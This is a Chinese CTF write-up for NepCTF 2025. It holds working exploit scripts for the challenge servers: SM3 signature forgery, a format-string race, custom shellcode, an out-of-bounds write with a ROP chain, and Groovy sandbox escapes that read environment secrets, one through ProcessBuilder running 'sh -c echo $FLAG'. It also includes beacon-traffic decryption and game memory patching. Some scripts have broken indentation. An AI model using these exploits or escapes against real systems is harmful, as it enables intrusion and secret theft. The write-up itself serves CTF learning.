NepCTF2025 WP

Crypto

nepsign

分析sever.py

实现了一个签名-验证系统

前32位 step[i]:是 SM3(msg) 哈希值的每8位(即 32 个字节,共 256 bit)。

后16位 step[i]:是 SM3(msg) 中某个字符(例如 ‘a’)在前64位中出现的位置和,对 255 取模。

对每个 sk[i] 执行 step[i] 次迭代,得到 qq[i],最后接收多行服务器返回,避免遗漏

直接拷打ai,脚本如下:

from gmssl import sm3

from pwn import remote, context

import string

import random

import os

import sys

from ast import literal_eval

def hash_sm3(data):

    if isinstance(data, str):

        data = data.encode()

    return sm3.sm3_hash(list(data))

def hash_sm3_n(sk, n, bits=256):

    sk = sk if isinstance(sk, bytes) else sk.encode()

    for _ in range(n):

        sk = bytes.fromhex(hash_sm3(sk))

    return sk.hex()[:bits // 4]

def compute_steps(msg):

    msg = msg.encode() if isinstance(msg, str) else msg

    digest = hash_sm3(msg)

    binary = bin(int(digest, 16))[2:].zfill(256)

    primary = [int(binary[i * 8:(i + 1) * 8], 2) for i in range(32)]

    freq_map = [sum(j + 1 for j in range(64) if digest[j] == h) % 255 for h in '0123456789abcdef']

    return primary + freq_map, digest

def collect_secrets(conn, msg_target, step_target):

    secret_keys = [None] * 48

    discovered = set()

    msg_prefix = b'secret_'

    attempts = 0

    print("[*] Gathering secret key parts...")

    while len(discovered) < 48:   

        suffix = ''.join(random.choices(string.ascii_letters + string.digits, k=10)).encode()

        msg_try = msg_prefix + suffix

        if msg_try == msg_target:

            continue

        try:

            step_vals, _ = compute_steps(msg_try)

        except:

            continue

        indices_needed = [i for i in range(48) if secret_keys[i] is None and step_vals[i] == 0]

        if not indices_needed:

            continue

        try:

            conn.sendline(b'1')

            conn.recvuntil(b'msg: ')

            conn.sendline(msg_try.hex().encode())

            response = conn.recvline().decode().strip()

            sig_parts = literal_eval(response)

            if not isinstance(sig_parts, list) or len(sig_parts) != 48:

                continue

        except:

            print("[!] Lost connection. Reconnecting...")

            conn.close()

            conn = reconnect()

            continue

        for i in indices_needed:

            try:

                secret_keys[i] = bytes.fromhex(sig_parts[i])

                discovered.add(i)

            except:

                continue

        print(f"[+] Secrets retrieved at indices: {indices_needed}")

    return secret_keys

def forge_signature(secret_keys, step_ref):

    forged = []

    for idx, sk in enumerate(secret_keys):

        try:

            forged.append(hash_sm3_n(sk, step_ref[idx]))

        except:

            print(f"[!] Failed to compute signature for index {idx}")

            sys.exit(1)

    return forged

def reconnect():

    print("[*] Re-establishing connection...")

    conn = remote(TARGET_HOST, TARGET_PORT, ssl=True, sni=TARGET_HOST)

    conn.recvuntil(b'> ')

    return conn

def main():

    global TARGET_HOST, TARGET_PORT

    TARGET_HOST = 'nepctf31-xnmd-9ly9-5vcz-nbdjgtzlv029.nepctf.com'

    TARGET_PORT = 443

    context.log_level = 'error'

    goal_msg = b'happy for NepCTF 2025'

    target_steps, _ = compute_steps(goal_msg)

    print(f"[+] Connecting to {TARGET_HOST}:{TARGET_PORT} via SSL...")

    conn = remote(TARGET_HOST, TARGET_PORT, ssl=True, sni=TARGET_HOST)

    conn.recvuntil(b'> ')

    print("[+] Connected.")

    sk_parts = collect_secrets(conn, goal_msg, target_steps)

    fake_signature = forge_signature(sk_parts, target_steps)

    print("Forged signature ready. Sending to server...")

    try:

        conn.sendline(b'2')

        conn.recvuntil(b'give me a qq: ')

        conn.sendline(str(fake_signature).encode())

        result = conn.recvline().decode()

        print(f"[+] Server reply: {result}")

        try:

            more = conn.recv(timeout=1)

            if more:

                print(f"[+] Additional data: {more.decode()}")

        except:

            pass

    except:

        print("[!] Submission failed.")

        sys.exit(1)

    conn.close()

if __name__ == '__main__':

    main()

图片1

NepCTF{8981a578-6d5c-2b77-4576-76001e81250a}

Misc

NepBotEvent

解压文件夹得到NepBot_keylogger的二进制数据文件,从题目信息可以知道这是一个键盘记录器(Keylogger), 用010打开,把16进制提取出来

图片2

看不懂,丢一部分拷打ai

Ai回答:解析NepBot_keylogger文件。从题目描述和xxd的输出格式来看,这很可能是一个Linux环境下键盘事件的原始记录文件。在Linux中,键盘、鼠标等输入设备的事件通常通过/dev/input/event*接口进行读取,其数据结构为struct input_event。

1. 确定数据结构

首先,我们需要确定这个键盘记录器文件的数据结构。xxd的输出以16字节为一行,但记录的单位不一定是16字节。

我们来查找一下Linux内核中input_event的定义。

搜索结果确认了我们的猜想。NepBot_keylogger文件记录的是input_event结构体数组。在64位Linux系统上,该结构体定义如下:

struct input_event {

    struct timeval time;    // 16 bytes (8 bytes for tv_sec, 8 for tv_usec)

    __u16 type;             // 2 bytes

    __u16 code;             // 2 bytes

    __s32 value;            // 4 bytes

};

该结构体总共占用 16 + 2 + 2 + 4 = 24字节。

2. 解读事件数据

根据Linux输入事件的文档,我们可以这样解读每个字段:

  • type: 事件类型。我们关心的是键盘按键事件,其值为EV_KEY (0x01)。
  • code: 事件代码。当type为EV_KEY时,这个字段代表具体的按键码。例如,KEY_A、KEY_ENTER等。
  • value: 事件的值。对于键盘事件,1代表“按下”,0代表“松开”,2代表“长按重复”。我们只关心按键被按下的瞬间,即value为1的事件。

分析与推理

从头文件中我们知道,键盘事件的类型是EV_KEY,其值为1。我们只关心键盘,所以要过滤掉所有type不为1的事件。

if ev_type != 1:

    continue

过滤事件值 (value):value对于键盘事件有三个主要值:

1: 按键 按下 (press)

0: 按键 松开 (release)

2: 按键 重复 (repeat/hold)
我们只在按键被按下或按住时才记录字符,所以要过滤掉 value 为 0 的事件。

if value == 1 or value == 2:

    # ... process the key

知道这些后,让ai写脚本读取NepBot_keylogger文件,并还原字符串

实现脚本:

import struct
import sys
# 基于 /usr/include/linux/input-event-codes.h 的键码映射
# 未按下Shift键时的映射
KEY_MAP = {
    2: '1', 3: '2', 4: '3', 5: '4', 6: '5', 7: '6', 8: '7', 9: '8', 10: '9', 11: '0', 12: '-', 13: '=', 14: 'KEY_BACKSPACE', 15: 'KEY_TAB',
    16: 'q', 17: 'w', 18: 'e', 19: 'r', 20: 't', 21: 'y', 22: 'u', 23: 'i', 24: 'o', 25: 'p', 26: '[', 27: ']', 28: 'KEY_ENTER',
    30: 'a', 31: 's', 32: 'd', 33: 'f', 34: 'g', 35: 'h', 36: 'j', 37: 'k', 38: 'l', 39: ';', 40: "'", 41: '`', 43: '\\',
    44: 'z', 45: 'x', 46: 'c', 47: 'v', 48: 'b', 49: 'n', 50: 'm', 51: ',', 52: '.', 53: '/', 57: ' ' # KEY_SPACE
}
# 按下Shift键时的映射
SHIFT_KEY_MAP = {
    2: '!', 3: '@', 4: '#', 5: '$', 6: '%', 7: '^', 8: '&', 9: '*', 10: '(', 11: ')', 12: '_', 13: '+', 14: 'KEY_BACKSPACE', 15: 'KEY_TAB',
    16: 'Q', 17: 'W', 18: 'E', 19: 'R', 20: 'T', 21: 'Y', 22: 'U', 23: 'I', 24: 'O', 25: 'P', 26: '{', 27: '}', 28: 'KEY_ENTER',
    30: 'A', 31: 'S', 32: 'D', 33: 'F', 34: 'G', 35: 'H', 36: 'J', 37: 'K', 38: 'L', 39: ':', 40: '"', 41: '~', 43: '|',
    44: 'Z', 45: 'X', 46: 'C', 47: 'V', 48: 'B', 49: 'N', 50: 'M', 51: '<', 52: '>', 53: '?', 57: ' ' # KEY_SPACE
}
def parse_keylogger(filepath):
    """
    解析Linux input_event键盘记录文件。

    Args:
        filepath (str): keylogger文件的路径。

    Returns:
        str: 重建出的键盘输入字符串。
    """
    reconstructed_string = []
    is_shift_pressed = False
    
    # 64位系统中 struct input_event 的大小为 24 字节
    # struct timeval (16 bytes) + type (2) + code (2) + value (4)
    event_struct_format = '<qqHHi'  # 小端序, 2x long long, 2x unsigned short, 1x int
    event_size = struct.calcsize(event_struct_format)

    try:
        with open(filepath, 'rb') as f:
            while True:
                chunk = f.read(event_size)
                if not chunk or len(chunk) < event_size:
                    break
                # 解包二进制数据
                tv_sec, tv_usec, ev_type, code, value = struct.unpack(event_struct_format, chunk)
                # type=1 代表是键盘事件 (EV_KEY)
                if ev_type != 1:
                    continue
                # 根据Shift键(code 42, 54)的按下/松开状态更新标志位
                if code in [42, 54]: # KEY_LEFTSHIFT, KEY_RIGHTSHIFT
                    is_shift_pressed = (value == 1 or value == 2)  # 1=按下, 2=长按
                    continue
                
                # 我们只关心按键被"按下"(value=1)或"长按"(value=2)的事件
                if value == 1 or value == 2:
                    current_map = SHIFT_KEY_MAP if is_shift_pressed else KEY_MAP
                    char = current_map.get(code)
                    
                    if char:
                        # 处理特殊功能键
                        if char == 'KEY_BACKSPACE':
                            if reconstructed_string:
                                reconstructed_string.pop()
                        elif "KEY_" not in char:
                            reconstructed_string.append(char)

    except FileNotFoundError:
        print(f"错误: 文件 '{filepath}' 未找到。请确保脚本和文件在同一目录下。", file=sys.stderr)
        return None
    except Exception as e:
        print(f"解析过程中发生错误: {e}", file=sys.stderr)
        return None

    return "".join(reconstructed_string)

# --- 主程序 ---
if __name__ == "__main__":
    keylogger_file = 'NepBot_keylogger'
    
    print(f"[*] 正在解析文件: {keylogger_file}")
typed_string = parse_keylogger(keylogger_file)

if typed_string:
print("\n[+] 成功从键盘记录中重建出以下字符串:")
print(f"    {typed_string}")

图片3

可得数据库名为NepCTF-20250725-114514

NepCTF{NepCTF-20250725-114514}   

Speedmino

不怎么会玩这个俄罗斯方块,本来想着用CE改的,筛半天觉得麻烦

直接解压SpeedMino.exe,打开main.lua

代码审查,找到和控制分数增长速度相关的部分

在scene.update(dt)函数中,有这样一行:

scoreBuffer = scoreBuffer + multi * dt * 1 * 0.25

这一行会让你的分数随着时间和倍率(multi)持续缓慢增加。可以把0.25这个值改得更大,比如下面这里我就改成了40,修改完后保存

图片4

接着因为这个游戏是LÖVE 2D引擎制作的(从main.lua的love.keyboard.setKeyRepeat(false)可以知道)

然后访问 LÖVE 2D 官方网站的下载页面: https://love2d.org/下载安装包安装 LÖVE 2D引擎,接着把改好的文件夹Speedmino拖到love2d图标上启动,LÖVE 引擎会自动识别文件夹里的 main.lua 文件并开始运行游戏

然后就可以看到分数暴增版的俄罗斯方块了,按照题目说明,花了60多秒就达到了2600分从而弹出flag

图片5

NepCTF{You_ARE_SpeedMino_GRAND-MASTER_ROUNDS!_TGLKZ}

客服小美

题目给了一个流量包和raw内存文件,判断是应急响应取证题目

先用vol2看看内存

图片6

可以看到配置文件是 Win10x64_19041

先找用户名,试了一下hashdump失败了,原因可能是这个内存镜像的注册表部分有问题,或者格式非常特殊,所以换个方法,用filescan列出所有文件名到一个文本文件下,再到文本文件下检索“Users”

图片7

图片9-

可得该机器的用户名是JohnDoe

接下来找偷偷通信的钓鱼木马地址

用vol2的netscan没有找到,换用memprocf试下

图片4-

然后在/memfs/sys/net找到netstats.txt打开

很快发现可疑的通信地址192.168.27.132,端口号是12580,这个进程号是6492

图片4--

最后来分析流量包,CS流量(因为流量包体都是二进制(非 JSON、HTML))

现在的任务就是提取并解密对称加密 Beacon 数据,因为cs默认通信协议就是 HTTP/HTTPS,所以先在wireshark里面筛选

图片5-

这里重点关注post请求(Beacon 上报结果 + 被盗数据的主要通道),记住包的序号

然后用工具提取16进制的http数据流,关注90,110,130,151这些流量数据

图片6-

然后找密钥

CS 的流量是加密的(AES + HMAC-SHA1),密钥只保存在被控端内存中,抓包抓不到明文或密钥,所以从内存 dump 中提取

从第二步已经知道可疑ip进程是6492

使用 Volatility 提取该进程的完整内存 dump,接着提dump中的AES和HMAC密钥

图片12

这里上网找了一下,了解到pebble这个工具的,可惜发现官方下架了,索性找到一个好用的脚本工具https://github.com/DidierStevens/Beta/blob/master/cs-extract-key.py

我们拿一组短的加密数据来还原密钥(所有加密通信都可用同一对密钥解密)

图片7-

最后拷打ai写脚本来对刚刚关注的数据一个个解密,从输出中找到来自110的可疑信息

脚本如下:

import hmac
import binascii
from Crypto.Cipher import AES
import hexdump

# Beacon 固定的 AES 和 HMAC 密钥
AES_KEY = binascii.unhexlify("a6f4a04f8a6aa5ff27a5bcdd5ef3b9a7")
HMAC_KEY = binascii.unhexlify("35d34ac8778482751682514436d71e09")

# 粘贴你要解密的密文数据
ENC_HEX = """
00000050350ca7f4379f30cc9d6d671db886d360691c74467156e60e8356725ae2f3b880b302ea8b5556df10324e86e53ecb84046646a1758e9cb8c7fca42d660617be467627abcc3c0ce3bd3e93c02fffcb4d3a
"""

def decrypt_beacon_payload(raw_bytes: bytes, aes_key: bytes, hmac_key: bytes) -> bytes:
    # 处理加密长度头(前4字节)
    enc_len = int.from_bytes(raw_bytes[:4], byteorder='big')
    enc_data = raw_bytes[4:]

    # 数据体(不含HMAC)和签名分离
    cipher_text = enc_data[:enc_len - 16]
    signature = enc_data[enc_len - 16:enc_len]

    # 使用默认IV解密(Cobalt Strike 的固定值)
    iv = b"abcdefghijklmnop"

    # 可启用 HMAC-SHA256 校验
    # if hmac.new(hmac_key, cipher_text, digestmod="sha256").digest()[:16] != signature:
    #     raise ValueError("HMAC 验证失败")

    # AES-CBC 解密
    cipher = AES.new(aes_key, AES.MODE_CBC, iv)
    decrypted = cipher.decrypt(cipher_text)
    return decrypted

def parse_beacon_payload(data: bytes):
    counter = int.from_bytes(data[:4], byteorder='big')
    length = int.from_bytes(data[4:8], byteorder='big')
    output_type = int.from_bytes(data[8:12], byteorder='big')
    payload = data[12:12 + length]

    print(f"[+] Counter: {counter}")
    print(f"[+] Length: {length}")
    print(f"[+] Output Type: {output_type}")
    print(f"[+] Payload (decoded):")
    print(payload.decode(errors='replace'))
    print(f"\n[+] Hexdump:")
    hexdump.hexdump(payload)

def main():
    # 清理换行和空格
    hex_clean = ENC_HEX.replace('\n', '').replace(' ', '')
    enc_bytes = bytes.fromhex(hex_clean)

    try:
        decrypted = decrypt_beacon_payload(enc_bytes, AES_KEY, HMAC_KEY)
        parse_beacon_payload(decrypted)
    except Exception as e:
        print(f"[-] 解密失败: {e}")

if __name__ == "__main__":
    main()

图片14

可疑信息secret: 5c1eb2c4-0b85-491f-8d50-4e965b9d8a43

最后组合答案

NepCTF{JohnDoe_192.168.27.132:12580_5c1eb2c4-0b85-491f-8d50-4e965b9d8a43}

Moewble喵泡

又是一个游戏题(看成曼波了,我应该是没救了)

但是出题人给了提示,可以看看

图片1

注意到游戏主文件夹里面有个GameAssembly.dll,在Meowble_data里面还发现了il2cpp_data,已经可以确定这是一个Unity IL2CPP构建的游戏了

我们在游戏里的主要困难是遇到伤害就会死,而且关卡设计非常离谱,所以思路是尝试能不能把游戏中的小猫的死亡判定机制找到,让它实现无敌效果

然后可以用il2cppdumper来分析一下GameAssembly.dll和global-metadata.dat(MeowBle_Data\il2cpp_data\Metadata里面)

先看dump出的script.json(里面有函数映射表,尝试找一下控制死亡的函数)

记事本打开然后搜索die,发现真的有关于player die的声明

图片2

记住地址2772048,转换16进制2A4C50

接着用CE打开游戏,在内存汇编里面跳转地址GameAssembly.dll+2A4C50,这就是函数player.die()的位置

图片3

这个位置的具体地址是7FFFBC824C50(再打开一遍跳转可以看到)

接着查找汇编码call 7FFFBC824C50,看看是哪个地方调用了这个函数

图片4

一共两个地方调用了player.die

图片5

图片6

接着跳转过去把相关调用给nop了,这里注意不要动其他的汇编,否则可能导致游戏崩溃

图片7

图片8

之后成功实现无敌效果,没有地方调用死亡函数,也就不会触发死亡

直接开始游戏!收集小蓝柱给的flag碎片,无视关卡障碍

顺着主路来到下图这个地方可以发现墙外也有一个小蓝柱,如果想一探究竟的话可以利用bug,抵住墙边,按住右键的同时迅速点击鼠标左键,小猫就会卡出来

图片9

图片10

然后回到墙里向左走,可以看到最有用的提示

图片11

上上下下….,可以推断出是非常有名的经典科乐美作弊指令:

上上下下左右左右BABA,在暂停界面成功调出作弊面板

先输入help看看指令表

图片12

主线游戏中我们一共可以获得8段flag,其中缺少了part 7就在这里找,输入getflag 7即可,这里顺便还能开启外挂模式,输入enablesuper true,无视墙体飞行

图片13

图片14

最后记得让小猫碰下最上层这里的球,才可以解锁后面的关卡,通关终点在入口处

图片15

将收集来的flag集结到一起,

Nepctf{94721248-773d-0b25-0e2d-db9cac299389}

Ps:后面复现的时候发现了一个更简单的方法,在MeowBle_Data里面有level关卡数据,用010打开切换文本查看,可以看到所有的蓝柱信息。如果是纯ce改,可以看我的这篇语雀:https://www.yuque.com/yhalo/yvq2az/lzunuo96pma3ar51?singleDoc# 《NepCTF2025-MISC-Meowble 喵泡 纯CE改》

PWN

Time

直接读取flag文件没有权限

注入格式化字符串,让程序之后会打印出内存地址

提交一个超长文件名(比如 “A”*10000),让程序读取这个文件名时耗时很长。

在子线程还没来得及读取完时,快速改成读取 “flag” 文件。,此时它会误以为要打开的是 “flag” 文件,并成功读取出 flag 内容。

程序读取完 flag 后,把内容放到了某个内存缓冲区(比如 buf),然后 printf(name)就开始泄露栈上内容了

类似于一个卡时间的办法

Exp:

from pwn import *
# --- Exploit Configuration ---
# The new target address you provided.
TARGET_HOST = 'nepctf31-75uk-aynz-unqr-izmaii5qk652.nepctf.com'
TARGET_PORT = 443

# The unchangeable core of the payload
DECOY_PAYLOAD = b"A" * 10000 + b'\n'
FMT_PAYLOAD = b"%22$p%23$p%24$p%25$p%26$p%27$p"
SUCCESS_MARKER = b"hello 0x" # The key to knowing we've won
def run_exploit(io, sleep_time):
    """A single attempt at the exploit with a given sleep time."""
    # Stage 1: Plant the format string
    io.sendlineafter(b"please input your name:", FMT_PAYLOAD)
    # Stage 2: Start the race
    io.sendafter(b"input file name you want to read:", DECOY_PAYLOAD)
    # The critical, variable wait
    time.sleep(sleep_time)
    # The switch
    io.sendline(b"flag")
    
    # Check for success
    try:
        # We give it a 2-second timeout to wait for the "hello"
        # If it's not there, this will raise an exception.
        content = io.recvuntil(SUCCESS_MARKER, timeout=2)
        log.success("Leaked data found.")
        # We got it! Print the rest of the line and go interactive.
        print((SUCCESS_MARKER + io.recvline()).decode())
        io.interactive()
        return True # Signal success
    except EOFError:
        log.failure("Connection closed unexpectedly. Race lost.")
        return False # Signal failure
    except PwnlibException:
        log.failure("Did not receive success marker. Race lost.")
        return False # Signal failure
def main():
    """
    Main loop to find the correct timing.
    """
    log.info("=" * 50)
    log.info(f"Starting auto-timing exploit for {TARGET_HOST}")
    log.info("=" * 50)
    # We will test sleep values from 0.01 to 0.20 seconds
    for i in range(1, 21):
        sleep_duration = i * 0.01
        log.info(f"Attempting exploit with a sleep duration of {sleep_duration:.2f} seconds...")
        
        # We need a new connection for each attempt
        p = None 
        try:
            p = remote(TARGET_HOST, TARGET_PORT, ssl=True, timeout=5)
            # Disable debug logs for clean output during the loop
            context.log_level = 'info'
            if run_exploit(p, sleep_duration):
                # If the exploit was successful, we break the loop.
                break
        finally:
            # Always make sure the connection is closed if it exists
            if p:
                p.close()
        
        # Re-enable debug for pwntools connection logs on the next attempt
        context.log_level = 'debug'
if __name__ == "__main__":
main()

图片8-

这里hello之后就是flag内容,但是是16进制小端序排列的,手动调整一下

图片16

smallbox

保护全开,程序让输入shellcode,但是发现可以上传任意长度,

那就造shellcode,把flag读出来

获取栈上的输入缓冲区地址

构造 “flag” 字符串 并通过系统调用 open 打开这个文件。。

使用 read 系统调用 读取 flag 文件内容到缓冲区。

用多次 write 系统调用 把读取到的 flag 内容输出到标准输出、

这里用了一个延时,拖慢子线程,让主线程有时间去修改文件名或变量

Exp:

from pwn import *
context.arch = 'amd64'
host = 'nepctf31-vdnj-tgag-xq21-ivegdpr3s895.nepctf.com'
port = 443
# --- Shellcode -
sc = asm('''
    mov    r12d, DWORD PTR [rbp-0xc]
    xor    r10d, r10d
    push   0x10
    pop    rdi
    xor    edx, edx
    mov    rsi, r12
    push   0x65
    pop    rax
    syscall
    mov    rcx, 0x11e1a300
loop:
    dec    rcx
    jne    loop
    movabs r10, 0x101010101010101
    push   r10
    movabs r10, 0x1010cebdd0cef01
    xor    QWORD PTR [rsp], r10
    pop    r10
    push   0xc
    pop    rdi
    xor    edx, edx
    mov    rsi, r12
    push   0x65
    pop    rax
    syscall
    movabs r15, 0xdeadc0dee00
    mov    r13, QWORD PTR [r15+0x80]
    movabs r10, 0x9090909090f865ff
    push   0x4
    pop    rdi
    mov    rdx, r13
    mov    rsi, r12
    push   0x65
    pop    rax
    syscall
    movabs r10, 0x9090909090f865ff
    push   0x4
    pop    rdi
    mov    rdx, r13
    mov    rsi, r12
    push   0x65
    pop    rax
    syscall
    movabs r10, 0x9090909090f865ff
    push   0x4
    pop    rdi
    mov    rdx, r13
    mov    rsi, r12
    push   0x65
    pop    rax
    syscall
    movabs r10, 0x9090909090f865ff
    push   0x4
    pop    rdi
    mov    rdx, r13
    mov    rsi, r12
    push   0x65
    pop    rax
    syscall
    movabs r10, 0x58026a67616c6668
    push   0x4
    pop    rdi
    movabs rdx, 0x101010101010101
    push   rdx
    movabs rdx, 0x1010cebdd0ce101
    xor    QWORD PTR [rsp], rdx
    pop    rdx
    mov    rsi, r12
    push   0x65
    pop    rax
    syscall
    movabs r10, 0x41050ff631e78948
    push   0x4
    pop    rdi
    movabs rdx, 0x101010101010101
    push   rdx
    movabs rdx, 0x1010cebdd0ce109
    xor    QWORD PTR [rsp], rdx
    pop    rdx
    mov    rsi, r12
    push   0x65
    pop    rax
    syscall
    movabs r10, 0xc689487fffffffba
    push   0x4
    pop    rdi
    movabs rdx, 0x101010101010101
    push   rdx
    movabs rdx, 0x1010cebdd0ce111
    xor    QWORD PTR [rsp], rdx
    pop    rdx
    mov    rsi, r12
    push   0x65
    pop    rax
    syscall
    movabs r10, 0xf995f016a58286a
    push   0x4
    pop    rdi
    movabs rdx, 0x101010101010101
    push   rdx
    movabs rdx, 0x1010cebdd0ce119
    xor    QWORD PTR [rsp], rdx
    pop    rdx
    mov    rsi, r12
    push   0x65
    pop    rax
    syscall
    movabs r10, 0x9090909090909005
    push   0x4
    pop    rdi
    movabs rdx, 0x101010101010101
    push   rdx
    movabs rdx, 0x1010cebdd0ce121
    xor    QWORD PTR [rsp], rdx
    pop    rdx
    mov    rsi, r12
    push   0x65
    pop    rax
    syscall
    movabs r10, 0x9090909090f865ff
    push   0x4
    pop    rdi
    mov    rdx, r13
    mov    rsi, r12
    push   0x65
    pop    rax
    syscall
    xor    r10d, r10d
    push   0x11
    pop    rdi
    xor    edx, edx
    mov    rsi, r12
    push   0x65
    pop    rax
    syscall
''')
# 连接与交互 
p = remote(host, port, ssl=True, sni=host)
p.recvuntil(b'[+] please input your shellcode:')
p.sendline(sc)
p.interactive()

图片i9-

Canutrytry

Pie没开,地址固定,有canary,尝试任意地址写 + 栈劫持 + ROP

根据题意

设置 size = -1
绕过数组边界检查,开启负索引写任意地址的能力。

add chunk 泄露 libc 地址,程序分配 chunk 后会回显一个 libc 中函数地址,可计算 libc base

程序再泄露一个栈地址,用于后续 ROP 写入与控制返回地址

越界写 fake chunk 指针到 stack-12

将 chunk[-3710] 的指针改为指向栈上的返回地址

然后越界写 chunk[-3711] 的内容为 ROP 链

构造 syscall(write) ROP,输出 flag 所在内存。

程序返回 → 跳转 ROP 链执行 → 打印 flag

EXP:

from pwn import *

context.binary = ELF('./libc.so.6')
context.log_level = 'debug'
libc = context.binary

HOST = 'nepctf31-meqv-3uu2-2x3w-xemna37gg498.nepctf.com'
PORT = 443
io = remote(HOST, PORT, ssl=True, sni=HOST)

# 设置 size 为 -1,
io.sendlineafter(b'>>', b'1')
io.sendlineafter(b'>>', b'2')
io.sendlineafter(b'size:', b'-1')

# 分配 chunk 并获取 setbuf 泄露地址 ,计算 libc base
io.sendlineafter(b'>>', b'1')
io.sendlineafter(b'>>', b'1')
io.recvuntil(b'0x')
leaked_addr = int(io.recvuntil(b'\n', drop=True), 16)
libc_base = leaked_addr - libc.sym['setbuf']
log.success(f'Libc base: {hex(libc_base)}')

# 计算 gadget 地址
pop_rax     = libc_base + 0x45eb0
pop_rdi     = libc_base + 0x2a3e5
pop_rsi     = libc_base + 0x126101
pop_rdx_rbx = libc_base + 0x90529
syscall     = libc_base + 0x91396
target_mem  = 0x4053C0

# 构造用于 syscall(write) 的 ROP 链
payload = flat(
    pop_rax, 1,
    pop_rdi, 1,
    pop_rsi, target_mem,
    pop_rdx_rbx, 0x100, 0,
    syscall
)
# 获取栈地址
io.recvuntil(b'0x')
stack_leak = int(io.recvuntil(b'\n', drop=True), 16)
log.success(f'Stack leak: {hex(stack_leak)}')
# 越界写第一个:将 -3710 指向 stack-12
io.sendlineafter(b'>>', b'1')
io.sendlineafter(b'>>', b'3')
io.sendlineafter(b'index:', b'-3710')
io.sendafter(b'content:', p64(stack_leak - 12) * 10)
# 越界写第二个:将 payload 写入栈上 ROP 区域
io.sendlineafter(b'>>', b'1')
io.sendlineafter(b'>>', b'3')
io.sendlineafter(b'index:', b'-3711')
io.sendafter(b'content:', payload)
# 等待返回,执行 ROP 链
io.interactive()

图片18

Web

easyGooGooVVVY

环境启用了沙箱机制

那就用纯Java 基本语法和控制流

读取当前进程的所有环境变量

def aaa = new FileInputStream('/proc/self/environ')

def bytes = []

int b

while((b = aaa.read()) != -1) {

    bytes << (byte)b

}

new String(bytes as byte[])

图片10--(1)

flag{2cca0e03-8e6e-3dad-c8f6-488585b0ec02}

RevengeGooGooVVVY

题目和上一题一样,但是这题给了两个java文件

构造了一个非常严格的Groovy 沙箱 SecureASTCustomizer,对用户注入的表达式做了严格限制,禁用 .execute(), while, for, .class, 反射

那就利用命令行读取环境变量

[‘sh’, ‘-c’, ‘echo $FLAG’]:让 shell 执行一条命令从当前进程的环境变量中读取 flag

Payload:

def p = new ProcessBuilder(['sh','-c','echo $FLAG'])

def r = p.start()

r.waitFor()

r.inputStream.text.trim()

图片11-

NepCTF{f902b14f-8f73-e726-dde9-bd99204298d7}

本次比赛我认为是非常有质量的,很多地方卡了很久,遗憾就是逆向零解题(╥╯^╰╥),期待明年的nep吧≧▽≦

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇